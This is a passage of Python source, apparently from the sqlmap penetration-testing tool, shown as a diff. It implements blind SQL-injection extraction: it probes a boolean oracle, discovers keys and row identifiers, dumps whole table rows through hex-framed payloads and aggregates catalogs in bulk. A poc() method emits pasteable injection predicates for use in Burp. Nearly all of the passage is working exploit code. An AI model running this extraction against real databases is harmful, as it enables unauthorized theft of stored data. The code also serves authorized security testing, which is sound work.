# (extract + literal bound). DEFAULT TEXT (safe, just slower) - misreading a text or
|
||||
# decimal/float key as int DESTROYS the paging boundary (reviewer: 'a','1' and 1.5,2.5
|
||||
# both broke). 'int' requires an EXACT-INTEGER round-trip, not a mere numeric sort:
|
||||
# - strict engines: `text = <int>` ERRORS -> text (probe phase reads False)
|
||||
# - a decimal/float (1.5) extracts as 2 and `1.5 = 2` is False -> text
|
||||
# - a genuine integer N round-trips `expr = N` -> int
|
||||
# all rendered through the DISCOVERED comparator (_gtNum), never a raw '>='/'<'.
|
||||
q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable)
|
||||
if self._comparator == "membership":
|
||||
return "text" # no ordered numeric compare -> literal-bound text
|
||||
with self._probePhase(): # a numeric comparison on a TEXT key ERRORS on strict engines -> False
|
||||
if not (self._numDefined(q) and self._gtNum(q, -(1 << 62) - 1, 1 << 62)):
|
||||
return "text" # not comparable as a number (or NULL)
|
||||
try:
|
||||
n = self.extractInteger(q) # signed, via the discovered comparator
|
||||
except (OracleUndecided, OverflowError):
|
||||
return "text"
|
||||
# 'int' requires BOTH: (a) numeric equality `q = n` (catches a decimal - 1.5 extracts
|
||||
# as 2 and 1.5 = 2 is false), and (b) the value LOOKS numeric - first char a digit or
|
||||
# '-'. A loose engine coerces text->0 so `'AA' = 0` is spuriously true, but 'AA' starts
|
||||
# with a non-digit; and (b) uses no `=`-to-string (SQLite won't coerce `1 = '1'`).
|
||||
if n is not None and self._ask("(%s)=(%d)" % (q, n)) and self._looksNumeric(q):
|
||||
return "int"
|
||||
return "text"
|
||||
|
||||
def _looksNumeric(self, expr):
|
||||
# first char is a digit or '-' (order-free IN test, so a blocked '>' doesn't matter).
|
||||
# rejects non-digit text a loose engine coerced to 0; no substring to inspect -> can't
|
||||
# refute -> keep the numeric verdict (never break a real int on a substring-less floor).
|
||||
if self.dialect.substring is None:
|
||||
return True
|
||||
try:
|
||||
one = self._sub(self._resolveText(expr), 1, 1)
|
||||
return self._ask("%s IN ('0','1','2','3','4','5','6','7','8','9','-')" % one)
|
||||
except OracleUndecided:
|
||||
return True
|
||||
|
||||
def _discoverRowid(self, qtable):
|
||||
# find a MIN-aggregatable physical row identifier for the (already-quoted)
|
||||
# table; classify int vs opaque text (SQLite rowid is int; Oracle ROWID text).
|
||||
# each candidate is a PROBE: a pseudo-column the engine lacks (ROWID on MSSQL,
|
||||
# ctid off-PG, ...) errors, which must skip to the next candidate, not fail the dump
|
||||
with self._probePhase():
|
||||
for name, tmpl, _unit in _ROWID:
|
||||
rid = tmpl % qtable if "%s" in tmpl else tmpl
|
||||
if not self._ask("(SELECT MIN(%s) FROM %s) IS NOT NULL" % (rid, qtable)):
|
||||
continue
|
||||
unit = self._classifyUnit(rid, qtable)
|
||||
# a physical row-id used as a keyset must be a sane NON-NEGATIVE int;
|
||||
# Informix's `rowid` reads as a bogus negative here -> reject it and fall
|
||||
# through to the value-keyset walk rather than feed extractInteger garbage
|
||||
if unit == "int" and self._comparator == "gt" and \
|
||||
not self._ask("(SELECT MIN(%s) FROM %s)>=0" % (rid, qtable)):
|
||||
continue
|
||||
return Cap(name, rid, unit=unit)
|
||||
return None
|
||||
|
||||
def _keyIsUnique(self, kexpr, qtable, total=None):
|
||||
# a keyset ordering column MUST be single-column unique AND non-NULL, else `> prev`
|
||||
# paging silently DROPS rows: a composite key's first column repeats (skipping the
|
||||
# shared-value rows), and NULL keys sort outside the walk. Verified against the DATA
|
||||
# (COUNT(*) == COUNT(DISTINCT key)) - a NULL key or duplicate makes distinct < total -
|
||||
# so it holds regardless of how the constraint catalog was joined.
|
||||
try:
|
||||
if total is None:
|
||||
total = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
|
||||
distinct = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s)" % (kexpr, qtable))
|
||||
except (OracleUndecided, OverflowError):
|
||||
return False
|
||||
return total is not None and distinct is not None and total == distinct
|
||||
|
||||
def _walkKey(self, qtable, table, schema, total=None):
|
||||
# ordering key, best-first: primary/unique key -> physical row-id -> value.
|
||||
# returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset
|
||||
# comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral).
|
||||
key = self._discoverKey(table, schema)
|
||||
if key:
|
||||
kexpr = self.quoteIdent(key)
|
||||
if self._keyIsUnique(kexpr, qtable, total):
|
||||
return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral
|
||||
self.dialect.notes.append("key %s not single-column unique -> row-id/value keyset" % key)
|
||||
rid = self._discoverRowid(qtable)
|
||||
if rid is not None:
|
||||
boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral
|
||||
return rid.template, rid.get("unit"), "rowid:%s" % rid.name, boundfn
|
||||
return None, None, "value", self.buildLiteral
|
||||
|
||||
def _rowPayload(self, cols):
|
||||
# one hex-framed, NULL-PRESERVING token per column. When a length fn + text cast exist,
|
||||
# each token embeds an INDEPENDENT character-length witness and a terminal marker:
|
||||
# V<charlen>:<hex>; (value) N; (SQL NULL)
|
||||
# so a capped/lossy HEX or CONCAT that SHORTENS the value is caught (`_splitRow` rejects a
|
||||
# token whose decoded char count != the declared source length, or whose ';' is missing).
|
||||
# Length counts CHARACTERS -> invariant under a re-encoding cast, and is measured by a
|
||||
# DIFFERENT primitive than hex/concat, so it is not self-certifying. Without a length fn /
|
||||
# cast the plain 'N' / 'V'+hex grammar (',' delimited) is used - framing still works, but
|
||||
# the whole-value length witness is unavailable (noted). Needs hex + concat to frame a row.
|
||||
if not self._ensureHexfn() or not self.dialect.concat:
|
||||
return None, False # can't frame a whole row -> caller scavenges cell-by-cell
|
||||
self._rowLenFramed = bool(self.dialect.length and self.dialect.textcast)
|
||||
if not self._rowLenFramed:
|
||||
self.dialect.notes.append("row framing without a length witness (no length fn/cast) - "
|
||||
"a capped hex/concat could shorten a cell undetected")
|
||||
parts = []
|
||||
for c in cols:
|
||||
qc = self.quoteIdent(c) # column names are identifiers, not raw SQL
|
||||
# text-cast before hex so a numeric/date column yields its TEXT form, not
|
||||
# DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001)
|
||||
text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc
|
||||
hexed = self.dialect.hexfn[1].format(expr=text)
|
||||
if self._rowLenFramed:
|
||||
lenstr = self.dialect.textcast[1].format(expr=self._len(qc)) # source CHAR length as text
|
||||
body = self._concatMany(["'V'", lenstr, "':'", hexed, "';'"])
|
||||
parts.append("CASE WHEN (%s) IS NULL THEN 'N;' ELSE %s END" % (qc, body))
|
||||
else:
|
||||
marked = self.dialect.concat[1].format(a="'V'", b=hexed)
|
||||
parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked))
|
||||
if self._rowLenFramed:
|
||||
return self._concatMany(parts), True # tokens self-terminate with ';'
|
||||
interleaved = [parts[0]]
|
||||
for p in parts[1:]:
|
||||
interleaved.append("','") # the ',' row-token delimiter
|
||||
interleaved.append(p)
|
||||
return self._concatMany(interleaved), True # flat when concat is variadic
|
||||
|
||||
def _cellRow(self, qtable, cols, where):
|
||||
# SCAVENGER row read: pull each column on its own. A single value needs no comma/
|
||||
# marker framing (so no concat) and its NULL is detected directly (so no hex 'N'
|
||||
# sentinel) - this is how a dump still works on a back-end that can neither
|
||||
# concatenate nor hex-encode. Slower (one extraction per cell), but it retrieves.
|
||||
row = []
|
||||
for c in cols:
|
||||
res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (self.quoteIdent(c), qtable, where))
|
||||
if not res.complete:
|
||||
return None, False
|
||||
row.append(res.value)
|
||||
return row, True
|
||||
|
||||
def _splitRow(self, data, ncols):
|
||||
# returns (row, valid); a malformed token count/marker/length means invalid, never
|
||||
# a silently padded/truncated plausible row.
|
||||
# framed cells are hex of a TEXT-CAST value, whose bytes are in the CAST's output charset
|
||||
# (the connection/expression charset - MySQL re-encodes a latin1 column to utf-8 here), so
|
||||
# use the PROVEN hex encoding, NOT the column's declared charset (that governs RAW bytes).
|
||||
if data is None:
|
||||
return None, False
|
||||
# EFFECTIVE encoding: the proven per-expression hex codec, else the discovered charset (now
|
||||
# the CONNECTION charset, which is what the CAST outputs). Same evidence the dump-exactness
|
||||
# check below consumes, so decode and integrity never disagree.
|
||||
enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
|
||||
if getattr(self, "_rowLenFramed", False):
|
||||
# V<charlen>:<hex>; / N; -> every token MUST carry its terminal ';' and (for a value)
|
||||
# decode to EXACTLY the declared source char length; a capped hex/concat fails one.
|
||||
if not data.endswith(";"): # a truncated final token dropped its terminator
|
||||
return None, False
|
||||
toks = data.split(";")
|
||||
if toks and toks[-1] == "":
|
||||
toks = toks[:-1] # drop the trailing terminator
|
||||
if len(toks) != ncols:
|
||||
return None, False # a truncated final token loses its ';' -> count off
|
||||
vals = []
|
||||
for t in toks:
|
||||
if t == "N":
|
||||
vals.append(None)
|
||||
continue
|
||||
if not t.startswith("V") or ":" not in t:
|
||||
return None, False
|
||||
lenpart, _, hexpart = t[1:].partition(":")
|
||||
if not lenpart.isdigit():
|
||||
return None, False
|
||||
v = "" if hexpart == "" else self._decodeHexToken(hexpart, enc)
|
||||
if v is None or len(v) != int(lenpart): # INDEPENDENT length witness: decoded != source
|
||||
return None, False
|
||||
vals.append(v)
|
||||
return vals, True
|
||||
toks = data.split(",") # plain grammar (no length witness available)
|
||||
if len(toks) != ncols:
|
||||
return None, False
|
||||
vals = []
|
||||
for t in toks:
|
||||
if t == "N":
|
||||
vals.append(None)
|
||||
elif t == "V":
|
||||
vals.append("")
|
||||
elif t.startswith("V"):
|
||||
v = self._decodeHexToken(t[1:], enc)
|
||||
if v is None:
|
||||
return None, False
|
||||
vals.append(v)
|
||||
else:
|
||||
return None, False
|
||||
return vals, True
|
||||
|
||||
def dump(self, table, columns=None, schema=None, limit=10):
|
||||
"""Extract actual ROW DATA. Table/column names are treated as quoted
|
||||
IDENTIFIERS (never raw SQL). Optionally scoped to `schema`. Rows are walked
|
||||
by a primary/unique KEY when discoverable, else a physical row-id, else the
|
||||
row's own value (distinct-only); each row is one hex-framed, NULL-preserving,
|
||||
text-cast extraction. Completeness is checked against COUNT(*). Returns
|
||||
{columns, rows, complete, keyed_by}."""
|
||||
self._ensureQuoting(table)
|
||||
qtable = self.qualify(table, schema)
|
||||
cols = columns or self.columns(table, schema)
|
||||
if not cols:
|
||||
return None
|
||||
payload, framed = self._rowPayload(cols)
|
||||
if not framed: # no hex/concat to frame a whole row
|
||||
self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table)
|
||||
try:
|
||||
expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
|
||||
except (OracleUndecided, OverflowError): # unknown/huge count -> walk up to `limit`, not a failure
|
||||
expected = None
|
||||
if expected == 0:
|
||||
return {"columns": cols, "rows": [], "complete": True, "exact": True, "keyed_by": None}
|
||||
keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema, total=expected)
|
||||
rows, ok = [], True
|
||||
|
||||
def readrow(where):
|
||||
# a whole row: one framed extraction when hex+concat exist, else cell-by-cell. The
|
||||
# framed token carries an INDEPENDENT length witness + terminal marker (see _rowPayload),
|
||||
# so _splitRow rejects a bounded/lossy hex/concat that shortened a cell; a rejected or
|
||||
# errored framed read degrades to cell-by-cell (which reads each cell at its true length,
|
||||
# so it cannot be cast-truncated) rather than dropping the row.
|
||||
if framed:
|
||||
try:
|
||||
res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES)
|
||||
if res.complete:
|
||||
row, ok2 = self._splitRow(res.value, len(cols))
|
||||
if ok2:
|
||||
return row, ok2
|
||||
except OracleUndecided:
|
||||
pass # framed whole-row read errored -> cell-by-cell
|
||||
return self._cellRow(qtable, cols, where)
|
||||
|
||||
# a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe
|
||||
# (permission or charset wall) stops with whatever rows were recovered
|
||||
try:
|
||||
if keyexpr is not None: # key / row-id keyset (preferred)
|
||||
prev, keys = None, []
|
||||
while len(rows) < limit:
|
||||
if prev is None:
|
||||
where = ""
|
||||
else:
|
||||
beyond = self._beyondSql(keyexpr, prev, unit, seen=keys, boundfn=boundfn)
|
||||
if beyond is None: # no ordered comparator, no IN -> can't page
|
||||
break
|
||||
where = " WHERE %s" % beyond
|
||||
ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where)
|
||||
if unit == "int":
|
||||
key = self.extractInteger(ke) # None = NULL (MIN over empty set) = no more rows
|
||||
else:
|
||||
res = self.extractResult(ke) # never page on a partial/unverified key bound
|
||||
if res.is_null: # MIN over empty set -> genuinely done
|
||||
break
|
||||
if not res.complete: # incomplete key can't be a reliable bound
|
||||
ok = False
|
||||
self.dialect.notes.append("dump %s: incomplete key read -> stopped (partial)" % table)
|
||||
break
|
||||
key = res.value # '' is a VALID (single, unique) key row, not a terminator
|
||||
if key is None or key == prev: # None = done; == prev = paging stuck (safety)
|
||||
break
|
||||
bound = key if unit == "int" else boundfn(key)
|
||||
row, valid = readrow("%s=%s" % (keyexpr, bound))
|
||||
if not valid: # a truncated/invalid cell != complete row
|
||||
ok = False
|
||||
break
|
||||
rows.append(row)
|
||||
self._emit(", ".join("NULL" if c is None else c for c in row))
|
||||
prev = key
|
||||
keys.append(key) # for order-free NOT IN() paging
|
||||
else: # value keyset (distinct rows only)
|
||||
ok = False
|
||||
# ACCURATE loss report: a framed page-key is the whole-row tuple, so only
|
||||
# fully-identical rows collapse; a bare first-column page-key collapses every
|
||||
# row that merely shares column 1 (much lossier) - say which, don't blur it
|
||||
# also: MIN() never selects a NULL page-key, so rows with a NULL in the page
|
||||
# column are unreachable by this walk - call that out too (not just collapse)
|
||||
loss = "identical rows collapse" if framed else \
|
||||
"rows sharing column '%s' collapse, and rows with a NULL there are unreachable" % cols[0]
|
||||
self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (%s)" % (table, loss))
|
||||
pageexpr = payload if framed else self.quoteIdent(cols[0])
|
||||
# the framed page-key is text; a bare first-column page-key may be numeric,
|
||||
# and a numeric column MUST be read via extractInteger + a numeric bound - a
|
||||
# text SUBSTR read mangles e.g. Derby's space-padded INT->CHAR into a garbage
|
||||
# bound ("id=' '") that matches no row (dump silently returns 0 entries)
|
||||
pageunit = "text" if framed else self._classifyUnit(pageexpr, qtable)
|
||||
prev, seen = None, []
|
||||
while len(rows) < limit:
|
||||
if prev is None:
|
||||
where = ""
|
||||
else:
|
||||
beyond = self._beyondSql(pageexpr, prev, pageunit, seen=seen)
|
||||
if beyond is None: # no ordered comparator, no IN -> can't page
|
||||
break
|
||||
where = " WHERE %s" % beyond
|
||||
if framed:
|
||||
res = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where), codes=_HEX_PAYLOAD_CODES)
|
||||
pv, valid = res.value, res.complete
|
||||
row, ok2 = self._splitRow(pv, len(cols)) if pv is not None else (None, False)
|
||||
valid = valid and ok2
|
||||
elif pageunit == "int": # numeric first column: read + bound as a number
|
||||
pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
|
||||
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False)
|
||||
else: # page on the first (text) column, read cells under it
|
||||
kr = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
|
||||
if kr.is_null: # MIN over empty set -> done
|
||||
break
|
||||
if not kr.complete: # incomplete page bound -> can't page reliably, stop
|
||||
break
|
||||
pv = kr.value # '' is a valid first-column value, not a terminator
|
||||
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv)))
|
||||
if pv is None or pv == prev or not valid:
|
||||
break
|
||||
rows.append(row)
|
||||
self._emit(", ".join("NULL" if c is None else c for c in row))
|
||||
if isinstance(pv, str) and _REPL in pv: # a corrupt (unrecoverable) text bound can't page reliably; an int bound never carries _REPL
|
||||
break
|
||||
prev = pv
|
||||
seen.append(pv) # for order-free NOT IN() paging
|
||||
except (OracleUndecided, OverflowError):
|
||||
# degrade, never crash: an undecided oracle (permission/charset wall) or a
|
||||
# bogus key that overflows extractInteger stops the walk with partial rows
|
||||
self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table)
|
||||
ok = False
|
||||
# TWO independent dimensions: `complete` = COVERAGE (every row, extracted cleanly);
|
||||
# `exact` = CONTENT integrity (the recovered bytes are provably the source's). A dump can
|
||||
# cover every row yet hold case/accent-ambiguous cells when the dialect has no byte-exact
|
||||
# primitive (no hex/binary, not code-codepoint) - callers must surface that, not hide it.
|
||||
complete = ok and expected is not None and len(rows) == expected
|
||||
exact = bool(self._byteFaithful())
|
||||
# EFFECTIVE decode codec (same evidence _splitRow uses): a proven hex encoding OR the
|
||||
# discovered charset. Non-ASCII text is provably exact only when that codec is KNOWN -
|
||||
# using the same field for decode AND for the exact verdict, so a proven-utf-8 dump is
|
||||
# NOT falsely inexact, and a decode that fell back to a guess is NOT falsely exact.
|
||||
effenc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
|
||||
note = None
|
||||
if rows and not exact:
|
||||
note = ("dump %s: values recovered via a collation-dependent comparison "
|
||||
"(no byte-exact primitive) - case/accents may be inexact" % table)
|
||||
elif exact and self.dialect.hexfn is not None and not effenc and self._hasNonAscii(rows):
|
||||
# bytes are faithful (hex), but with no PROVEN codec the TEXT reading of non-ASCII
|
||||
# cells is a guess (utf-8 vs a single-byte codepage) -> content is not provably exact
|
||||
exact = False
|
||||
note = ("dump %s: non-ASCII values decoded under an undetermined character set "
|
||||
"- text may be inexact" % table)
|
||||
elif exact and self.dialect.textcast and not self._castPreservesAccents():
|
||||
# bytes are faithful, but they are the output of a text cast NOT proven to preserve a
|
||||
# canary accented char -> a narrowing cast may have folded unrepresentable chars to "?"
|
||||
# at equal length (invisible to the length witness AND to a non-ASCII scan of the
|
||||
# ALREADY-folded output) -> content is not provably source-exact
|
||||
exact = False
|
||||
note = ("dump %s: values extracted through a text cast not proven to preserve accented "
|
||||
"characters (possible lossy/narrowing cast) - content is not provably "
|
||||
"source-exact" % table)
|
||||
if note:
|
||||
self.dialect.notes.append(note)
|
||||
return {"columns": cols, "rows": rows, "complete": complete, "exact": exact, "keyed_by": keyed_by}
|
||||
|
||||
@staticmethod
|
||||
def _hasNonAscii(rows):
|
||||
return any(any(ord(ch) > 127 for ch in v) for row in rows for v in row
|
||||
if isinstance(v, type(u"")))
|
||||
|
||||
def _castPreservesAccents(self):
|
||||
# The framed dump routes every column through the discovered text cast. A NARROWING cast
|
||||
# (Unicode source -> codepage target) substitutes an unrepresentable char ("e"-acute ->
|
||||
# "?") WITHOUT changing the character count, so neither the length witness nor the hex
|
||||
# decode can catch it - the "?" is faithfully hexed and reported as exact. Confirm the
|
||||
# cast preserves a canary accented char (built server-side from its code point, so no raw
|
||||
# byte crosses the transport): if CAST(canary)=canary holds, representable accents survive;
|
||||
# if it folds, the cast is lossy and non-ASCII content is not source-exact. Server-side
|
||||
# equality (not a client decode) sidesteps CHAR() byte-vs-codepoint quirks. Cached;
|
||||
# conservative (False) when a cast is applied but the canary can't be built/decided.
|
||||
if self._castPreserves is None:
|
||||
if not self.dialect.textcast:
|
||||
self._castPreserves = True # no cast applied -> nothing to fold
|
||||
elif (self.dialect.charset or "").replace("-", "").lower().startswith("utf"):
|
||||
# the cast targets the (Unicode) connection/DB charset, which represents EVERY code
|
||||
# point -> no source char can fold. This is a PROOF (not a per-value guess): a
|
||||
# utf-8/16 target cannot substitute an unrepresentable char.
|
||||
self._castPreserves = True
|
||||
else:
|
||||
# an unproven cast must NOT certify source identity: default False, promote only on
|
||||
# a successful preservation probe. The canary needs a TRUE-codepoint constructor - a
|
||||
# byte-based CHAR() (MySQL) yields the two bytes of U+20AC, not the euro char, so it
|
||||
# cannot probe a fold; without one the cast stays unproven (conservatively inexact).
|
||||
self._castPreserves = False
|
||||
cf = self._codeCharTmpl()
|
||||
if cf and self.dialect.length:
|
||||
euro = cf.format(code=0x20AC)
|
||||
ch = cf.format(code=0xE9) # "e"-acute
|
||||
try:
|
||||
with self._probePhase():
|
||||
if self._ask("(%s)=1" % self._len(euro)): # constructor => one codepoint
|
||||
self._castPreserves = self._ask(
|
||||
"(%s)=(%s)" % (self.dialect.textcast[1].format(expr=ch), ch))
|
||||
except OracleUndecided:
|
||||
pass
|
||||
return self._castPreserves
|
||||
|
||||
def poc(self, expr, position=1, gt=64):
|
||||
"""Emit a clean, pasteable boolean payload for ONE probe (the exploitation
|
||||
primitive), so a tester can drop it into Burp without re-running discovery."""
|
||||
one = self._sub(expr, position, 1)
|
||||
if self.dialect.compare == "code" and self.dialect.charcode:
|
||||
# numeric code comparison -> render through the DISCOVERED comparator, so the PoC
|
||||
# works on the very target where '>' was blocked (BETWEEN / operator-free rung)
|
||||
code = self.dialect.charcode[1].format(expr=one)
|
||||
if self._comparator == "gt":
|
||||
return "%s>%d" % (code, gt)
|
||||
if self._comparator == "between":
|
||||
return "%s BETWEEN %d AND %d" % (code, gt + 1, 1 << 62)
|
||||
if self._cmpTemplate is not None:
|
||||
return self._cmpTemplate.format(expr=code, n=gt)
|
||||
raise RuntimeError("ordered PoC unavailable: membership comparator has no '>' form")
|
||||
# hex / collation / ordinal compare strings or wrapped values with '>'; if '>' was
|
||||
# blocked (comparator isn't 'gt') there is NO equivalent renderer for these text modes
|
||||
# -> refuse rather than emit a predicate the target already rejected.
|
||||
if self._comparator != "gt":
|
||||
raise RuntimeError("ordered PoC unavailable: '>' blocked and %s mode has no operator-free form" % self.dialect.compare)
|
||||
if self.dialect.compare == "hex" and self.dialect.hexfn:
|
||||
return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt)
|
||||
if self.dialect.compare == "collation" and self.dialect.binwrap:
|
||||
w = self.dialect.binwrap[1]
|
||||
return "%s>%s" % (w.format(x=one), w.format(x=self._lit(chr(gt))))
|
||||
if self.dialect.compare in ("equality", "equality-ci"):
|
||||
# equality mode was chosen BECAUSE ordering isn't trustworthy - don't
|
||||
# fabricate a `>` predicate the target's collation may not honour
|
||||
raise RuntimeError("ordered PoC unavailable in equality-only compare mode")
|
||||
return "%s>%s" % (one, self._lit(chr(gt)))
|
||||
|
||||
def strategy(self):
|
||||
"""Freeze the discovered dialect into an immutable InferenceStrategy - the
|
||||
hand-off artifact for a host inference engine (see hostExtract). Ensures the
|
||||
hex fn and quoting/backslash flags are resolved before freezing."""
|
||||
d = self.dialect
|
||||
if not self._discovered:
|
||||
self.discover()
|
||||
self._ensureHexfn()
|
||||
self._lit("x") # resolve backslash-escape flag
|
||||
return InferenceStrategy(
|
||||
product=d.product or d.family, family=d.family, compare_mode=d.compare,
|
||||
catalog=d.catalog, dual=(d.dual[1] if d.dual else ""), notes=tuple(d.notes),
|
||||
substring=(d.substring[1] if d.substring else None),
|
||||
index_base=(d.substring.get("index_base", 1) if d.substring else 1),
|
||||
length=(d.length[1] if d.length else None),
|
||||
charcode=(d.charcode[1] if d.charcode else None),
|
||||
charcode_sem=(d.charcode.get("semantics") if d.charcode else None),
|
||||
hexfn=(d.hexfn[1] if d.hexfn else None),
|
||||
binwrap=(d.binwrap[1] if d.binwrap else None),
|
||||
charfrom=(d.charfrom[1] if d.charfrom else None),
|
||||
concat=(d.concat[1] if d.concat else None),
|
||||
identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None),
|
||||
backslash=bool(self._backslashEscape),
|
||||
comparator=self._comparator, cmp_template=self._cmpTemplate,
|
||||
# carry the byte-exact witness so the host mirrors the native EXACT/AMBIGUOUS verdict
|
||||
# (plain '='/collation is not byte-exact; only proven hex / binary / codepoint is)
|
||||
exact_witness=("hex" if d.hexfn is not None else
|
||||
"binary" if (d.binwrap is not None and d.binwrap.get("byte_exact")) else
|
||||
"codepoint" if (d.compare == "code" and d.charcode is not None
|
||||
and d.charcode.get("semantics") == "codepoint") else None))
|
||||
|
||||
def enumerateBulk(self, kind, maxchars=4096, encoding=None):
|
||||
"""One-shot full dump: aggregate the whole column into one delimited string
|
||||
and extract it once. When a hex function exists each value is HEX-encoded
|
||||
before aggregation, so the ',' delimiter is unambiguous (a comma can't occur
|
||||
in a hex token) and any charset survives; otherwise raw values are joined
|
||||
(comma-ambiguous, noted). Completeness is checked against an independent
|
||||
COUNT(DISTINCT). Returns a BulkResult (list-like)."""
|
||||
if kind not in self.dialect.catalogEnum:
|
||||
return None
|
||||
col, src, where = self._source(kind)
|
||||
# independent COUNT FIRST - so a single empty-string row isn't mistaken for
|
||||
# an empty catalog (the aggregate of one '' can look like no rows)
|
||||
try:
|
||||
expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where))
|
||||
except OverflowError: # huge count -> unknown, not a failure
|
||||
expected = None
|
||||
if expected == 0:
|
||||
return BulkResult([], expected=0, complete=True)
|
||||
if not self._ensureHexfn() or not self.dialect.concat: # bulk framing needs BOTH hex and concat
|
||||
self.dialect.notes.append("bulk %s: no hex/concat framing - use enumerateKeyset" % kind)
|
||||
return None
|
||||
# frame each value as V<hex>; - 'V' distinguishes an empty string from a NULL
|
||||
# aggregate over zero rows, and the ';' TERMINAL MARKER (absent from the hex alphabet
|
||||
# and the ',' separator) proves the token is WHOLE: a server-side aggregate output
|
||||
# limit truncates the FINAL token, dropping its ';', so the truncated token is caught
|
||||
# instead of a shorter-but-still-valid-hex value silently counting as one item.
|
||||
encoding = encoding or (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
|
||||
# frame each value as V<charlen>:<hex>; when a length fn exists: the ';' catches aggregate
|
||||
# truncation (final token loses it) AND the independent <charlen> catches a capped/lossy HEX
|
||||
# that shortened the VALUE (decoded chars != declared) - which the terminal marker alone
|
||||
# (round 5) missed because a shortened even-length hex is still valid+terminated.
|
||||
lenframed = bool(self.dialect.length and self.dialect.textcast)
|
||||
if lenframed:
|
||||
lenstr = self.dialect.textcast[1].format(expr=self._len(col))
|
||||
aggcol = self._concatMany(["'V'", lenstr, "':'", self.dialect.hexfn[1].format(expr=col), "';'"])
|
||||
else:
|
||||
aggcol = self._concatMany(["'V'", self.dialect.hexfn[1].format(expr=col), "';'"])
|
||||
if self.dialect.bulkAgg is None:
|
||||
self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where)
|
||||
if not self.dialect.bulkAgg:
|
||||
return None
|
||||
agg = self.dialect.bulkAgg[1].format(col=aggcol)
|
||||
res = self.extractResult("(SELECT %s FROM %s%s)" % (agg, src, where), limit=maxchars, _ceiling=maxchars)
|
||||
joined = res.value
|
||||
if joined is None:
|
||||
return BulkResult([], expected=expected, complete=False)
|
||||
tokens = joined.split(",")
|
||||
if res.truncated and tokens: # last token may be partial
|
||||
tokens = tokens[:-1]
|
||||
names, seen, aggtruncated = [], set(), False
|
||||
for t in tokens:
|
||||
if not (t.startswith("V") and t.endswith(";")): # missing terminal marker
|
||||
aggtruncated = True # aggregate truncated this token -> drop, flag
|
||||
continue
|
||||
body = t[1:-1] # strip 'V' prefix and ';' terminator
|
||||
declared = None
|
||||
if lenframed:
|
||||
lenpart, sep, hexpart = body.partition(":")
|
||||
if sep != ":" or not lenpart.isdigit():
|
||||
aggtruncated = True # malformed length prefix -> truncated token
|
||||
continue
|
||||
declared, body = int(lenpart), hexpart
|
||||
v = self._decodeHexToken(body, encoding)
|
||||
if v is not None and (declared is None or len(v) == declared): # independent length witness
|
||||
if v not in seen: # dedupe (non-unique columns repeat)
|
||||
seen.add(v)
|
||||
names.append(v)
|
||||
elif v is not None: # decoded but length mismatch -> a capped hex shortened it
|
||||
aggtruncated = True
|
||||
complete = (not res.truncated) and (not aggtruncated) and expected is not None and len(names) == expected
|
||||
if aggtruncated:
|
||||
self.dialect.notes.append("bulk %s: aggregate output truncated (token lost its terminal marker)" % kind)
|
||||
elif expected is not None and len(names) != expected:
|
||||
self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected))
|
||||
return BulkResult(names, expected=expected, complete=complete)
|
||||
|
||||
def _discoverBulkAgg(self, col, src, where):
|
||||
for name, tmpl in _BULK_AGG:
|
||||
agg = tmpl.format(col=col)
|
||||
if self._ask("(SELECT %s FROM %s%s) IS NOT NULL" % (agg, src, where)):
|
||||
return Cap(name, tmpl)
|
||||
return None
|
||||
@@ -0,0 +1,830 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import binascii
|
||||
|
||||
from .atlas import _FREQ_ORDER
|
||||
from .atlas import _hardWarnings
|
||||
from .atlas import _HEX_Q_ENCODINGS
|
||||
from .atlas import _HEXDIGITS
|
||||
from .atlas import _HEXFN
|
||||
from .atlas import _isSingleUnicodeScalar
|
||||
from .atlas import _MAX_HEX_CHAR_NIBBLES
|
||||
from .atlas import _native
|
||||
from .atlas import _PRINTABLE_SORTED
|
||||
from .atlas import _REPL
|
||||
from .atlas import _SIMILAR_META
|
||||
from .atlas import _UNICODE_MAX
|
||||
from .atlas import _unhexlify
|
||||
from .atlas import _unichr
|
||||
from .records import Cap
|
||||
from .records import ExtractResult
|
||||
from .records import NumericOutOfRange
|
||||
from .records import OracleUndecided
|
||||
|
||||
|
||||
class _Extraction(object):
|
||||
"""_Extraction
|
||||
|
||||
turn the discovered dialect into VALUES: length, char reading, literals, hex,
|
